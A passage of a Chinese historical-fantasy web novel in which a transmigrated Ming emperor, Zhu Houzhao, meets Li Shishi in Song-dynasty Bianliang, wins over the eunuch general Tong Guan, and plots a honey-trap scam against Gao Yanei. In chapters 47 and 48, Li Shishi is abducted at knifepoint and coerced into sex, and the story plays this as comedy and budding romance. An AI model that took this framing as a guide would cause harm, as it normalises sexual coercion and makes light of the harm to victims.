负责赶车的是朱厚照心腹时迁,别看这小子贼眉鼠眼的,他那一身顶尖轻功极为好用。 时迁说话好听,又有一身独到本事,关键没有案底,盗圣在江湖上只有传说从未被逮住,故而这次朱寿方才带上他。 晚风东来吹得满天烟火纷落如星似雨,时迁驱着宝马香车迎着东风行在东京烟火大道上。 汴梁城里灯火通明,人们汇聚于数之不尽的商贩摊前,琳琅满目的商品看得人眼花缭乱。 穿过人潮汹涌的大街小巷,他们远远看到了州桥街,湖畔上楼船无数,几位清倌艺伎在船上表演歌舞,岸边百姓不时掌声如雷。 更有那清贵俊朗的才子于江上作画,两岸少女向楼船上投掷花簇香囊。 看着眼前东京的梦华盛景,见识过大宋地方萧瑟并尝到了底层艰辛的朱厚照心中冷笑,这梦华盛世太过脆弱,面对女真铁骑转瞬就会支离破碎。 第46章 翩若惊鸿 多年以后,面对残暴的女真铁骑兵锋,神威大将军朱厚照将会想起那个夜晚与李师师初见的那个夜晚。 那一晚,蔡、梁两个衙内表明身份后,他们才终于挤上了船。 临走前,朱厚照给了时迁几两银子,让他去玩,又嘱咐其别生事。 上了船,一众衙内公子哥都收敛了起来,看上去是那么人畜无害。 船上人并不多,这里汇集了大宋显赫的权贵之后。 船的正中央一个被众星捧月的青衣俊秀才俊正在作画,周围竟是吹捧之声。 “他就是王希孟,天子门生,少年奇才!”梁衙内羡慕地说道,胖嘟嘟的圆脸呆呆地望着那青衣才俊。 朱厚照打量着场中青年,又看了看对方的画作,觉得确实不错。作为一个全才,他的艺术才能也是不错的。 王希孟一行大都是清贵才子,圣眷正浓,不然也请不出李师师这尊大神。 才子聚在一起必然是从家国大事谈到诗词歌赋,饮酒作画写诗,附庸风雅。 朱厚照和梁衙内坐在一侧静静饮酒,等着李师师出场。双方圈子不同,蔡衙内还能上去拽拽文,梁胖子可就真不行了。 清贵才子本质就是倨傲的,朱厚照虽胸怀数百年的诗词瑰宝,却也不屑于讨好他们。 宋朝重文轻武,文人多轻武将。宋对武将很是矛盾,一方面待遇军饷给得很多,一方面又在上层社会打压武将。 从朱厚照一上这艘船开始,清贵的才子们就投来了异样的目光。 因为他的身材实乃标准的武将身躯,肩背宽阔如虎,腰身粗壮如熊,一层厚厚的脂肪包裹住腰腹间的肌肉群。 那场沙尘暴后,他身上源自朱元璋、朱棣的猛将血脉开始复苏。年近中年后,美鬤蓄起,当初精健的身材变得彪壮起来。 对于文弱书生们,他们的审美标准是高挑清瘦,身形喜欢的是鹤形蜂腰。虎背熊腰的身材在他们看来攻击性太强,一点也不雅观。 他们想不明白这个武将是怎么混上这艘船的,粗鄙的武夫也配与他们同船而渡。 对于这些自视甚高的文人,朱厚照也无意去证明什么,他本就是放荡不羁的性格。 指挥过千军万马,纵横过浩瀚北国的男人胸中怀有的是青云之志。血火中淬炼出的鸿鹄又岂会在意燕雀是怎么看自己的。 朱厚照就那样慵懒地坐在那,他只想一睹国色生香的李师师再听一听那仙籁之音。此外,他可没兴趣陪一群百无一用的书生写诗。 船行了很久,喝多了的朱厚照缓缓睡着。 他不知睡了多久,被梁衙内喊醒,只见孤船行于河上,岸边的夜市已经散去了,船上的人却都倍有精神。 “李大家要出来了。”梁衙内化身痴男,站在朱厚照身旁,踮着脚看前面。 朱厚照站在阴影中看着那灯火拥簇下的身影,她体态丰茂如同春风抚松,腰肢宛若游龙般灵动妖娆。 李师师脸上裹着轻纱,身披一件银灰皮袄,内衬一袭紫罗衫,紧致的紫罗衫也掩不住那圆润雪白,却没人敢把目光往那投放。 这份穿搭很绝艳,在宋明理学极端化保守前,大宋服饰审美还是很多元化的。李师师的风格与美貌更是凌驾于时代。 她高挑丰茂,比在场文人高不少,这其实不符合文人们小巧玲珑的审美。 其美貌既不是大宋精致玲珑的娇弱系,也不是盛唐明艳大气的华丽风,而是两汉时期珠圆玉润的古典美人。 看着那倾世的容颜,朱厚照心想,这确实是一个祸国殃民的妖女。 作为大宋忠良,他必须重拳出击,用棍棒严厉惩治这个妖女,绝不姑息。 朱厚照站得很远,远远看去只能看到李师师跪坐在那,雪白的肌肤在灯火之下熠熠生辉,那半遮的容颜显得虚幻神秘。 李师师弹了一曲,一边弹一边唱。大家都很沉醉,李师师的歌声好似真的拥有魔力一般,在场的人们都很沉醉。 只是真能听懂曲中意的人又有几何? 在场的人里,真听得懂的人寥寥无几。说是听歌,他们的眼睛都快贴人家身上去了,这是在用眼睛听是吧。 粗鄙的朱寿反而听出几分意味,作为全能人才,他颇通音律。 李师师的旋律让人心安舒缓,他今晚喝多了,此时听着曲身心放松,于是闭上眼小憩一会。 一曲作罢,船正好靠岸,李师师下了船,一众文人、公子在原地回想。 “朱兄,看遍汴京繁华,你觉得这盛世如何?”梁衙内问道。 朱厚照还在回想着那皎白如月的身影,突然被问,好在他素有急智,张口就夸:“繁华如梦,才子佳人,恍如人间仙境……” 看他滔滔不绝夸个不停,梁衙内很开心,作为京爷的自豪感得到了极大的满足。 “朱兄,这几日你就在京城好好逛,喜欢什么就干什么,别拘束。” 梁衙内一本正经地说:“朝堂方面父亲自会帮将军运作,这几日将军逛逛汴梁,也可以多见见大人们。” 奸臣们内部也是派系林立,今日这顿饭吃下来,朱寿也差不多弄懂朝堂内部权力派系划分,不至于拜码头拜错了。 拜别梁衙内后,朱厚照一眼就看到时迁站在路边冻得直搓手。 “等了好一会吧。”朱厚照关切地说道。 时迁赶起马车,回道:“哥哥的大事重要,小弟只求鞍前马后即可。” “接下来几天,你打听一下豹子头林冲家的娘子近来情况。” “包在小弟身上。” 现在这个时间点林冲才刚刚落草,林娘子还没有忧郁而死,朱寿想着尝试搭救一下,当然一切还得徐徐图之。 朱厚照又给了时迁些银子,这小子有神技在手,可惜在江湖上名声不显得不到认可,只要给予他一点尊重,他就会誓死报效。 “快回樊楼吧,希望那些家伙别给洒家惹事吧。” 朱寿有些担心自己不在,亲兵们会不会惹事。汴梁这个地方鱼龙混杂,现在自己需要的是潜龙在渊们,低调发展。 “好嘞,哥哥且睡一会,马上就到!” 今晚喝得有些多了,朱寿确实有些困,头靠在软枕上,睡意上涌,马车颠簸间,朱寿就睡着了。 樊楼占地很大,除了吃饭的正楼,后面还有不少小院子,都是一些精致的别院。 朱寿花了不少钱租了一套三间的小院,院中水木静美。 一众亲兵见朱寿回来了,连忙上前迎接。 在询问众人没有犯事后,朱寿很宽慰,大方地给了他们十两银子好让他们今晚勾栏听曲。 时迁扶着朱寿回了房间以后,他就一头闷倒在床上。 蒸馏酒度数还是太高了,他虽然体质强悍,但还在人的范畴内。 帮朱寿脱下鞋以后,时迁看他满脸通红,连忙给他倒醒酒汤。 朱寿喝了汤以后,扯开衣服,吵着说太热了。 时迁赶紧帮他宽衣解带,又去开窗。 吹着清凉的春风,时迁又想起朱寿今晚喝得太多,这样吹凉风有些不妥,赶忙给他盖上被子。 “美人,再陪我饮一杯。” 朱寿踢开被子,迷迷糊糊地抓住时迁的手说道。 时迁:??? 第47章 华茂春松 深夜,水榭居 李师师睁开惺忪睡眼,脑袋昏沉,浓睡难消残酒。 她起身喝了些水,披着青衫坐在床榻上看着窗外的夜,闻到一股子雨腥味。 外间的服饰她的小女孩听到声音醒了过来,卷起长帘,关心地问道:“娘子,可是还头晕?我去厨房煲碗汤。” “没事了,我无恙。昨夜雨大,你去看看我的花园可还好?” 李师师摇了摇雪白的手臂,软侬地吩咐道。 女孩告退后,匆匆赶了出去。 不一会,小女孩一蹦一跳地回来,高兴地说: “娘子,海棠依旧,更胜昨日……” 女孩叽叽喳喳说个不停,头发束成两个丸子,一摇一摇的。 李师师莞尔一笑,伸手捏了捏女孩胖嘟嘟的小脸,然后说道: “快回去睡觉吧!” “娘子,你不睡吗?” “我睡不着,想出去看看。” “那带我一起去,我保护你……” “哈哈哈~谁保护谁啊,小家伙快睡吧,不然长不高。在水榭居没事的。” 李师师戴上毛茸茸的披肩,一个人走了出去。 水榭居是李师师众多住所中的一处,居所广阔,位置就在樊楼的居住区。 她平素无事时就去教樊楼里的青倌艺妓些琴技。 大多数时候,她是不住这边的,在汴京里她房产挺多。 主要还是昨晚会友时间太晚,而水榭居离得近些,于是就选择住在这。 粉色的荷花已经凋谢,幽香也已消散,光滑如玉的竹席带着秋的凉意。 李师师颇有兴致,打算独自撑船。 当下回屋换装,她解开绫罗裙,换着便装,独自登上小船。 她仰头凝望远天,那白云舒卷处,谁会将锦书寄来? 官家已经很久没来了,当初那个经纶满腹、志向高远的风流才子现在变得清心寡欲,整日求仙问道。 或许官家早忘了她,一介艺妓永远也跨不进宫闱的。 雁群飞回来时,月光已经洒满了西楼。 李师师想起了李清照的词,很是羡慕同为才女,人生却要幸福上许多的那个女人。 如果没有党争,父亲没有被抄家,或许她也会像李清照那样成为一个幸福的官家小姐,有好夫婿,整日摆弄诗词。 李师师感觉头更疼了,残酒带来的昏沉挥之不去,湖上又有些春寒,她打算回去了。 “喂,快些啊,别磨蹭了!” 岸边有人在呼唤她,只见一个小孩在岸边上蹿下跳地招呼她。 时迁急坏了,他刚刚给了银子让樊楼管事去找人来伺候他家哥哥,可迟迟未回。 现在还划艘小木舟在湖中心磨磨叽叽的,这服务态度不行啊,就这也配称得上七十二楼之首? 刚刚在屋里他就判断朱寿喝高了,不过他也不会照顾人。 热衷于进步的时迁灵机一动决定出来找一个清倌照顾哥哥。 管事收了银子,就去找,半天不回来。 现在还搞什么划舟的仪式,汴梁人就是爱搞形式。 时迁现在只想进步,让这什么清倌快去招呼哥哥。 李师师一靠岸,只见那小孩原来是个大人,只是身形矮小,长得贼眉鼠眼。 她正欲说什么,就被那人一把抓住拽下船。 借着微弱的月光打量了一下眼前的美人,依稀看上去很标致,时迁心道:事后,哥哥必定称赞我办事周到。 李师师看着周围雾蒙蒙的黑夜,脑袋迷迷糊糊,被那小个子抓着纵跃间冲出数丈。 她心想自己可能今晚应该是真喝多了。 随着冰凉的寒风拂面,酒意退去,李师师略微清醒,当即反抗起来。 不过时迁速度很快,三下五除二就把李师师带到房内。 时迁认真交代道:“好生招呼我家哥哥,否则别怪。爷爷不讲情面。” 李师师看到那黑暗中一闪而过的匕首刃面,咽了一口口水。 交代完以后,时迁心情愉悦,就等着明早朱寿对他大加赞赏。 朱寿喝得有些高了,睁眼便看见一个容光焕发如秋日盛菊,体态丰茂似春风拂松的美娇娘。 长得还有些像李师师,朱寿心想时迁这小子有点东西挑的美人还不错。 他的酒意已经解了不少,看着眼前的美娇娘只觉得和晚上看到的李师师长得好像。 “你给我倒点水,快。” 习惯了被伺候的朱寿照常支使人。 李师师有些害怕,当即捂住眼睛,小声道:“奴家什么也没看见,求好汉高抬贵手,奴家略有家资,定当后谢!” 朱寿一愣,旋即脑中快速运转,一想时迁刚刚说去找樊楼管事请一个清倌来伺候自己……时迁这小子办事有一手哈。 莫非这是一种角色扮演? 在大明王朝玩得很花的朱寿当即进入状态,胸中酒意燥热全被点燃。 “洒家不要钱……”朱厚照玩心大起,正准备吓吓她,却突然被打断。 “你不要乱来啊,奴家的官人可是很厉害的,只图一时快可会后患无穷啊!奴家的护卫马上就回来了……” 李师师连珠炮一样说起来,这位京城歌坛大家一向与权贵交流处变不惊,今晚也是失了分寸,罕见地慌了。 “妖女不要胡言乱语了,洒家乃大宋忠良,今天是为了天下大义来讨伐你这蛊惑君王的狐媚子。”朱厚照凶光毕露地说道。 黑暗中那彪形大汉站起身来,挂满肌肉的肩背宽阔远超常人,彪悍的体魄令李师师有些揪心。 李师师吓得双脚一软跪在地上,那圆润的雪白露出一抹风光,看得朱厚照心神荡漾。 “奴家冤枉啊,奴都快一年没见过官家了,怎会魅惑君王啊?”李师师叫屈道。 官家很忙,忙着生孩子,忙着修道,忙着开疆拓土,忙着画画,忙着踢球、忙着写字…… 李师师说好听点是他的红颜知己,其实只不过是他养在外面的的金丝雀罢了。 “勿要狡辩,天下就是坏在你们这些狐媚奸臣上,就是你们奢靡浪费,盘剥百姓,害得多少百姓流离失所……” 偶尔学着那些文人士大夫说话,朱厚照感觉还是很有意思的。 李师师那双秋水剪瞳的大眼睛潸然落泪,让朱厚照有些意外,这就骂哭了,他还没尽兴呢。 第48章 髣髴兮若轻云之蔽月,飘飖兮若流风之回雪 幽深的夜空中划过耀眼的白色闪电。 卧房的朱红大床上雪白的美娇娘斜靠着,一袭无袖青衫下高高撑起蓝色抹胸,衬得那冰肌玉骨在床上格外炫目。 朱厚照的酒意醒了大半,心中的邪性与燥意退去,心境通明甚至能理解王阳明的心学了。 青灯之下,身旁的美人容光焕发如秋日盛菊,体态丰茂似春风拂松。 如此国色生枭的香艳美人乃是名满天下的大宋花魁——李师师。 此时他尚不知这就是真正的李师师,只道汴梁果然梦幻浮华,樊楼中竟能找出如此国色生枭的尤物。 朱厚照轻轻拍了拍李师师,那汹涌的雪白浪涛让人心神荡漾。 饶是坐拥过后宫佳丽三千、西域十二胡姬的正德皇帝对怀中的尤物也是惊为天人,由衷称赞:很润! 李师师并不理他,侧着身子,紧闭双眸。 朱厚照挑起那张倾世容颜,凝视着那双狭长的狐狸眼,心中生出些奇妙的感觉。 莫非这真是李师师? 如今酒意消退,原本迟滞的思维活络起来,这不会真是李师师吧? 样貌、神态、身形都和昨夜惊鸿一瞥的十分相像,只是昨夜李师师戴着面纱,看得不是很真切。 只是真得会那么巧吗? 他狐疑地问道:“美人,你叫什么名字?” 灼热的呼吸打在李师师的面颊上,她感觉有些酥痒,双眼低垂不去看男人那炽热的眼神。 她起初很害怕,可后来发现自己好像是被误会了,这人好像不知道自己就是真的李师师。 一双玉白的纤手交叠在一起,她细若蚊声地说道:“大人唤奴家芸娘就行。” “哦,芸娘~”朱寿好似在回味这个名字,把声调拖长了不少。 李师师的脸更红了,她现在很累,只想快点回房沐浴睡觉,好把今晚的荒唐忘掉。 作为官家的女人,哪怕她已被冷落良久,可也不能人染指。若是今晚的事泄漏,她可不知道官家到底有没有那么深情。 她用手撑在宽厚炽热的胸膛上缓缓支起自己酥软的身子,小声道:“大人,奴家回去了。” 雪白的皓腕被捉住,拉扯之下,那丰贸如春松般的身躯跌进朱寿怀里。 “不行!” 朱寿捏了捏那丰茂且雪脂分布均匀的腰肢,然后低下头说道: “你昨晚学李师师学得不太像,我不是很满意。” 李师师柳眉倒竖,娇嗔道:“那你觉得李师师是怎么样的?” “李师师啊,她是才女嘛,有些时候应该是端着的,你表情应该……就是得有那种神女范,还有你得带入自己是李师师……” 银牙逐渐紧咬,这个混蛋的荒唐言语给她听急了,拳头硬了。 “你还要想李师师私下会说什么,她的语气应该是慵懒间带点抚媚……” “够了,李大家才不会这样说话!” 李师师瞪着那双秋水剪瞳,看上去凶凶的。 “我可以加钱。” 李师师:??? 窗外的月亮洒落银霜般的月华,空旷的院子里雾气蒙蒙。 朱寿继续扮演鞭挞斥责红颜祸水的江湖侠士。 可骂着骂着,李师师哭了。 从小到大,没人这样骂过她。父母在世时宠她,入了教坊司以后,因为国色容颜和聪慧乖巧的性子,婆婆也没打骂过她。 后来她色艺双绝,名冠京都,多少王公贵族、名士才子在她面前展尽风度,认识了温文尔雅的官家以后,更是登上了乐坛巅峰。 整座京都的权贵、文士都在吹捧她,没人让她受过什么委屈。 可今晚喝多了以后,就在湖上泛舟一会,就被稀里糊涂拉到这。 最后她不仅失身,还被这个臭男人骂。 朱寿帮她揩了揩眼泪,却不想她更委屈了,直接泪崩了。 “你怎么又哭了?” 李师师不理他,只是把脸转向另一边,不去看他。 可无奈她遇到了朱寿,贱到骨子里的风月天子。 “你不会真是李大家吧?” “怎么可能?你不要乱说话啊,要是被官家听到,小心你的脑袋!” “那你哭啥?” “风太大了,眼睛不舒服。” ………… 窗外的明月在云雾中起伏,时隐时暗,群星隐去。 月光从窗前投入室内,映在李师师的脸上,照亮那张明艳的脸庞。 她时隐时现像轻云笼月,浮动飘忽似回风旋雪。 朱寿有些看呆了眼,此前室内太暗,没能看清她的脸。此时月光照明下,那不施粉黛的脸却是天生丽质宛若落入凡尘的仙颜。 如果她是仙子,那一定是广寒宫里负责掌管云月风雪的仙子。 前半夜她吵着闹着要早早回去,后半夜就睡着了。 天还没亮,李师师就醒了。 她匆忙穿好衣服,跌跌撞撞地离开。 朱寿眯着眼睛看着她离开的身影若有所思,单手从被子里拿出了她遗漏的蓝色绸带还有一个饿小小的金色香囊。 经过一晚上的试探,他猜测这可能真是李师师。 千古第一名妓确实勾人,让人流连忘返。 若真是李师师,那她的价值可就非同寻常了。 李师师的舔……仰慕者数不胜数,而且名声显赫的才子,她的背后有一张巨大的关系网。 其次,朱寿对于李师师的风骨气节确实欣赏。 历史上金军围城后,那些豪绅士族都吝啬财产,李师师却把毕生积蓄拿出来犒劳三军。 金军破城后,数万将士齐卸甲,皇帝公卿跪如狗,只有她不肯为奴膝不屈。 世人多笑戏子无情卑贱,最后那些金枝玉叶的帝姬皇后都给金人为奴为婢来苟延残喘,只有李师师最后真做到了冰清玉洁。 靖康之耻的绿帽风流天子既然照顾不了自己的红颜知己,那就让他来守护吧。 另一边,李师师划着小舟回了水榭居。 她看到服侍自己的小女孩睡得沉沉的,心中松了一口气。 所幸她平常喜欢清净,身边没有带太多佣人护卫,不然瞒不住了。不过若是带上护卫,或许就没有今晚的耻辱了。 待水烧涨,洗完热水澡以后,她浑身酥软疲惫。 玉体横陈躺进柔软的床榻上,身子很疲惫,可心中却长久无法平静。 当初一生一世一双人的期许早已破灭,那个曾被她以为可以托付终生的男人早已把她忘了。 今天她自己所坚守的清白于初心也破灭了,可原本应该如同枯槁的心灵却被灌入了一些别样的情绪。 本来已经古今无波的心灵再起澜漪,她脑海里不断出现那个混蛋的身影。 那家伙和汴京城里的人不一样,他那庞大的身形与粗鲁霸道的语气完全不像汴京城里的翩翩君子。 而且今晚他还让她说了好多奇怪的话,平常她不是这样的。他会不会觉得自己是奇怪的女人? 李师师有些心乱如麻,拿起一面铜镜借着月光看向镜中的自己。 铜镜中的自己好像比往日要容光焕发许多,在月华映照中时隐时亮。 髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。 “李师师,你该怎么办啊?”呢喃声在自己的耳畔轻轻响起。 第49章 权宦童贯 三月十五,朱寿终于见到了自己的上级童贯。 童贯彪形燕颔,身形魁梧,肤色黝黑。其双目炯炯,似有精光乍现,透着精干。 令人称奇的是,他的嘴角竟还生有少许胡须,全然不见宦官常有的阴柔之态。 这与朱寿想象中的权宦奸臣不太一样,好在他事先通过梁衙内了解过童贯。 正史里的童贯和《水浒传》里的童贯还是有些不同的,他具有一定军事能力,并不是真正的水货。 在《水浒传》中,童贯是个无能的草包形象,他率领几十万大军征讨水泊梁山,结果中了梁山好汉的埋伏,被打得丢盔卸甲,只身逃回京师。 不过这只是小说杜撰而已。 历史上真实的童贯并不是这样的。 历史上的童贯,率军攻打过吐蕃,攻打过西夏,战功显赫,为宋朝收复了广袤的疆土,缓解了宋朝西北边境的军事压力。 他威震西北,但并没有攻打过水泊梁山,镇压梁山泊起义的是张叔夜。 童贯镇压的农民起义是宋朝最大的农民起义——方腊起义,擒方腊的既不是武松也不是鲁智深,而是小将韩世忠。 言归正传,童贯确实战功赫赫,这也是童贯在历史上能成为第三个被封王的宦官的最主要原因。 不过另一方面,童贯与蔡京相互勾结,在朝中排除异己,形成了一股强大的政治势力,严重扰乱了当时的政治秩序,导致朝政腐败,民不聊生。 而且,在与辽国的战争中,童贯作为宋军统帅表现不佳,先是在攻辽时失败,不得不乞求金军援助代取燕京。 后在金军攻宋时,他在太原闻讯后逃回汴梁城,并随赵佶南逃,致使金军长驱直入,加速了北宋的灭亡。 还有,童贯虽然成功平定了方腊起义,但他在镇压方腊起义的过程中手段残忍,加剧了社会的动荡不安。 另外,童贯这个人,不择手段搜刮奇珍异宝,以供赵佶挥霍享乐,靠此获得大权。 他还喜欢用钱财笼络手下将士,让他们听其命令行事。 总之,历史上的童贯,权倾一时,掌控军权,在北宋末年的政治舞台上扮演着极为关键的角色。 朱寿还是非常喜欢他的,童贯是禁军中的高级将领,又不像那些清贵的士大夫那样眼高于顶。 这样的上级比较好相处,只要态度到位了,人家也是会礼贤下士的。 朱寿今天没怎么花钱,只是稍加打点,就得到了引荐。 童贯也没什架子,对待朱寿全然是军中的那套。 这是一个常年混迹军营的男人,他有着豪迈大方的性格。 看着童贯那在宦官中鹤立鸡群的长相,朱寿在心中猜想: 童贯在历史上能翻起大风浪,与他这超越寻常宦官形象的特质也脱不开关系吧? “你在北边打得不错,来日大宋北伐还要你多加出力。官家也听说了你八百破一万的战绩,好生练兵。”童贯说道。 “属下遵命,定当为大宋肝脑涂地,追随将军收复燕云十六州!”朱寿立马捧起话头。 童贯很是受用,收复燕云是他的目标,是他名垂青史的希望。 “好样的,若是能收复燕云,官家必然不会薄待你。燕云啊,家父毕生的愿望啊,希望我们这一代能了此夙愿。” 说起燕云十六州,童贯眼中闪过太多复杂的情感,他的义父李宪曾和他就大宋军事战略要地谈论过太多次,其中燕云是重中之重。 听童贯谈起父亲,朱寿之前做的功课立马起到作用。 李宪在宋神宗时期活跃于西北边境,与以“奇计、奇捷、奇赏”著称,戏称之“三奇副使”的王韶一同收复河州。 后来又击降吐蕃首领瞎木征,并攻克兰州,主持秦凤路及熙河路军事,曾被任命为西北五路统帅,掌有节制诸路重权的大宦官。 童贯是其养子,论军事能力相比李宪要差一些,不过论政治斗争能力和官场嗅觉则要高上不少,又有前人余泽,故而爬得很快。 “将军当年随李帅在西北大破夏军的事迹,小子也是仰慕已久,将军勇过古之张虬……”朱寿递上话头。 “哈哈哈哈,不过是年轻时的血气之勇罢了,不值一提,哈哈哈~想当年啊,父帅奉命……” 童贯的嘴角压不住了,他一贯喜欢听别人夸赞他的勇武。 场面变得热闹起来,其余作陪的将领都开始恭维起童贯来。 朱寿心想这把稳了,有了童贯这条线,自身发展与调兵都会顺利不少。 虎翼军作为禁军受中央节制,而主管禁军的部门分别是侍卫步军司和殿前司。 朱寿麾下这一支虎翼军归属在侍卫步军司麾下,正好是童贯管辖。 论权力童贯要大过高俅,相比之下,童贯是真得有战功在身,在军中威望更高,心腹将校更多。 如果要弄走林娘子,可能会得罪高衙内进而对上高俅,可如果依附上童贯就不怕了。 反正这两人也不和,加入童贯梁师成阵营,自己不仅升官快,在朝中支柱也稳,俗话说朝中有人好办事。 童贯身旁的武将里也有不少真才实料的将帅之才,朱寿早先对这些人都有过调查。 朱寿对宋朝历史一知半解,不然他就会发现今天在坐的有不少名将,其中最猛的就是王禀。 王禀在平定方腊起义之战中担任先锋,领导过两宋时期著名的五大保卫战之一的太原保卫战。 一顿饭吃完,朱寿又是一波美人金钱、奇珍异宝的攻势。 汴梁贵人有不少好东西,可见到了契丹异域美人和东北夜明珠,还是心动了,物以稀为贵。 童贯极为赏识地看了看朱寿,当即说道:“马植那小子说得不错,你日后定然大有出息。安抚使的事我和梁大人会帮你的。” “只要能为大宋效力,能在大人帐下听命,末将做什么都愿意。”朱寿拱手道。 “你小子是真机灵,好了去吧,好好在京城玩两天,朝堂上的事自有我等运作。” 童贯向来喜欢用钱财权势拉拢年轻有为的将领,让他们与自己绑定,增加自己在军中的影响力。 作为阉人,皇帝也不会过度防备他,而他没有子嗣血脉,只想着收复燕云过过封王的瘾。 朱寿对于加入他的阵营成为阉党丝毫不反感,他现在眼里只有高升。 第50章 玉仙观,蟠桃宴 汴梁东城酸枣门外,玉仙观此时门庭若市。 官家认证的道术大师林灵素正在这里大摆蟠桃宴,香火旺盛,好不热闹。 周围的百姓都想来看看能让人延年益寿的蟠桃长什么样。 朱寿坐在偏院的一把座椅上休息饮茶,时迁蹲在一旁吃着糕点汇报情况。 “哥哥,某打听了,现在偌大的东京下却不见一个好女娘。那些官宦子弟们十分啰唣人所以小户人家略好看的女娘都不敢出来了。 “尤其是那高衙内就喜欢糟蹋良家妇女,把人名声搞臭了,搞得人家破人亡。小弟为祸江湖多年,第一次见到比我还坏的。” 时迁显然是在汴梁见识了人间险恶,“盗圣”平常也没什么道德观念,可论肮脏事真没高衙内那么恶心。 “那林娘子如何了?”朱寿并不关心高衙内有多变态无耻,他不是什么英雄好汉,在明朝他见过更多荒淫变态的权贵之后。 这个世道到今天这一步,是伦常纲纪的崩塌,杀了一个高衙内没什么用。 要想改变只能改天换地,重塑世道,用血与火来洗礼那些王朝的恶瘤。 “林娘子现在不敢出门,那高衙内时常上门找她麻烦,左邻右舍都知道了,闲言碎语也很多……” 时迁说了很多,这两天他奉命吃瓜,肚中八卦满满的。 “那有些麻烦了,这高衙内也是条疯狗,早晚把他宰了。今天先让他吃点苦头,回头你就去找林娘子。” 朱寿愤愤道,高衙内就像一只癞皮狗一样,缠上人就甩不掉。 原著里林冲在梁山泊落脚以后,为何迟迟不接林娘子上山。不是不想,是根本接不出去。 汴梁十几万禁军有半数归高俅调遣,城防严密,军队巡逻。林娘子被高衙内盯上,禁军里高俅的狗腿子多了,自然是盯着。 林冲武功就算有十几层楼那么高,也无法带着一个弱女子杀出去。 如果能救,鲁智深早在野猪林之前就把人带出去了。 朱寿现在也很难办,不过现在不能硬刚,只能智取,用点阴谋手段。 他现在刚搭上童贯,还不好直接惹上高俅。 “高衙内那小子怎么还不来?”朱寿等得有些不耐烦了。 “应该快了,他向来喜欢往人多的地方钻。今天的蟠桃会传遍汴梁,他断不会错过。”时迁答道。 “美人局找的女子可给她交代清楚了?”朱寿又问。 “没问题,小弟找的是老路子,纵是闹到开封府尹,也审不出差错,怎么看官道上的身份都是良家。” 听了时迁的话,朱寿心中放心不少。 宋明时代用美色套路贪花好色的富家公子的局被称为“美人局”,清朝以后被称为“仙人跳”。 朱寿这一次就是让时迁通过关系找人给高衙内做一个局。 汴梁人口庞杂,百业兴旺,“美人局”这种事儿也不罕见。 “他们是什么门道?” 朱寿问道,这一次对付的是高衙内这种权势滔天的人,就怕被人家倒摆一道。 “一群游手,首脑已经被兄弟们控制住了,做完事以后,就把他们弄回山东……”时迁详实地讲述起这群人的来历与把柄。 “游手”,是宋朝时候对“老千”这一行当的统称。 汴梁人口百万,鱼龙混杂,所以靠骗术谋财的团伙也很多。 摆“美人局”、设赌,这都算是“游手”的一种。 还有摆‘水功德局’的,就是营造自己手眼通天、人脉广泛的假相,吸引那些求官、求职、升迁、诉讼的人,钱物到手再一走了之。 另有一种叫做“放白鸽”,就是诈骗团伙以婚姻名义嫁“女儿”,收了彩礼再一溜了之。 卖假货在这年代也算做一种“游手”,被称为“白日贼”。 而街头扒窃,剪包盗窃,溜门撬锁,穿墙入室,在这个年代,也统统归属于“游手”。 盗圣时迁在这个年代就是其中行业翘楚。 时迁和朱寿两人聊着聊着露出了邪恶的笑容,今天这一波够高衙内喝一壶的了。 越来越多的人涌入玉仙观,连偏殿都坐不下人了。 朱寿挥挥手让时迁去盯着请来的“游手”,顺带再吩咐几句。 在人潮汹涌中,朱寿逆流而行,挤到了大堂内。 只见几个道士挤开一条路,簇拥着一道蓝色倩影离开。 那道倩影让他眼前一亮,心想真是缘分。 林灵素亲自在后厢房迎接贵客。 “李大家来了,快来吃桃!”林灵素献宝似地献上几个饱满的蟠桃。 李师师解开面纱,跪坐在一个蒲团上,水蓝色的长裙绷紧,勾勒出紧致的曲线。 “大师,你这桃子真能延年益寿、红颜永驻吗?” 李师师皓腕轻动,剥开桃子的皮,露出白嫩的果肉,朱唇微张咬下一块果肉,好奇地问林灵素。 咬了一口桃子以后,红润的朱唇显得显得鲜艳润滑。 只是看了一眼没,林灵素感觉自己苦修多年的道心有些动摇了。 “大家风华绝代,纵是不吃这桃子,也是岁月不沾身,是这人间谪仙。” 林灵素一顿猛夸让李师师心情好了不少。 “我最近心烦意乱,就想着来道观里静静心,再找你那些香料。”李师师说道。 “贫道早给大家准备好了,之前宫里有贵人来要,贫道想着先前答应过大家,就把份额留来出来。” 林灵素赶紧命人取来。 “今天观中好生热闹,大师不必在这招呼妾身,快去忙吧。” “那贫道去了,大家自便。” 不一会,李师师的小侍女进来了。 “娘子,刚刚有人托我给娘子带一件东西,自称是娘子挚友。” 小侍女递上一件白色手帕包裹的东西。 李师师接过手帕打开一角,只见是蓝色的丝绸。 霎时间李师师的脸色先是一红,然后煞白。 “小虞儿,那人可有说什么?” “他说要约娘子在桃树那边一见。” 李师师捏紧蓝色丝绸,随即收入囊中,心里很是紧张,那晚走得太急,不仅漏了抹胸,还忘了香囊。 那香囊是她自制的,独家配制。 她咬了咬银牙,眼中闪过犹豫之色,最终还是决定出去看看。 为了防止那人乱来,她已经想了不少办法来稳住对方。 李师师出了房门,随手挥退几个道士,然后吩咐了两句小侍女。 桃花树下人潮汹涌,李师师艰难挤进人群中。 一只大手拽住她雪白皓腕,将她从人群中拉出。 第51章 跋扈衙内,怪力少女 李师师对上了那双黑色深沉的眸子,小声说道: “你跟踪我?你想要什么?” “芸娘可以来这,我就不行吗?” 男人那富有侵略性的目光盯着她看,看得向来大气的李师师都不好意思撇过头。 “走!” 男人拉着她穿过老君观走进后院,这里人少僻静,不远处有一棵挂姻缘线的参天古木。 她被拉到围墙摁住,这混蛋却迟迟不放开她的手。 朱寿摩挲着葱白的纤手,那纤长的手指关节分明,白皙的肌肤下有着明显的血管,皮肤光滑柔嫩,摸起来感觉很是丝滑。 李师师不约有些脸红,以往她相识的人都是正人君子,何曾有过这般登徒子。 “你想干什么?” “上香,吃桃。” 朱寿漫不经心地说,她尝试抽了两次手,发现抽不出来后,只能让他捏着。 “我的香囊还我。” “什么香囊?我没见过。要不今晚你回我那去找找。” 李师师不说话,低下头,发现看不见脚。 朱寿凑在她耳畔一直说个不停,她只是一直摇头,偶尔红着脸结结巴巴地说“不行”。 往日里从不怯场的大宋社交天后,今日变成了含羞带怯的小姑娘。 主要是因为这个混蛋见证了她的不堪,在他面前实在是支棱不起来。 